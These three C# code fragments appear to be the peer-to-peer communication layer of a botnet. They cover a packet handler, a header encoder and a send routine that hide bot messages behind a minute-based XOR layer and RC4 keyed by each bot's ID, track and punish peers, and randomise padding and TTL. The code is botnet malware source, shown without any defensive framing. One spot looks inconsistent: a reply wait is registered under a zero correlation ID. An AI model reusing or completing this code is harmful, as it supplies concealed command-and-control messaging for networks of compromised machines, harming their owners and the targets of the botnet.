private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e) { var data = e.Payload; var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(data); var rc4 = new Rc4(_botId.ToByteArray()); rc4.Decrypt(data); var botHeader = BotHeader.Decode(data); if (!IsValidHeader(botHeader)) { _peerList.Punish(botHeader.BotId); return; } botHeader.EndPoint = e.Proto; _peerList.UpdatePeer(botHeader.BotId); Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data)); }
public byte[] Encode() { var buffer = new byte[Size]; using (var w = new BinaryWriter(new MemoryStream(buffer))) { w.Write(Padding); w.Write(MessageId); w.Write(PayloadSize); w.Write(CorrelationId); w.Write(Ttl); w.Write(BotId.ToByteArray()); } return(buffer); }
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId) { if (!_peerList.IsRegisteredBot(botId)) { return; } var padding = RandomUtils.NextPadding(); var header = new BotHeader { CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId, BotId = botId, MessageId = messageId, PayloadSize = (short)payload.Length, Padding = (short)padding.Length, Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl }; var message = BufferUtils.Concat(header.Encode(), padding); var rc4 = new Rc4(botId.ToByteArray()); rc4.Encrypt(message); var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(message); var endPoint = _peerList[botId]; Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId); _comunicationManager.Send(endPoint, message); if (correlationId == 0) { _waitingForReply.Add(new Package(endPoint, message), correlationId); } }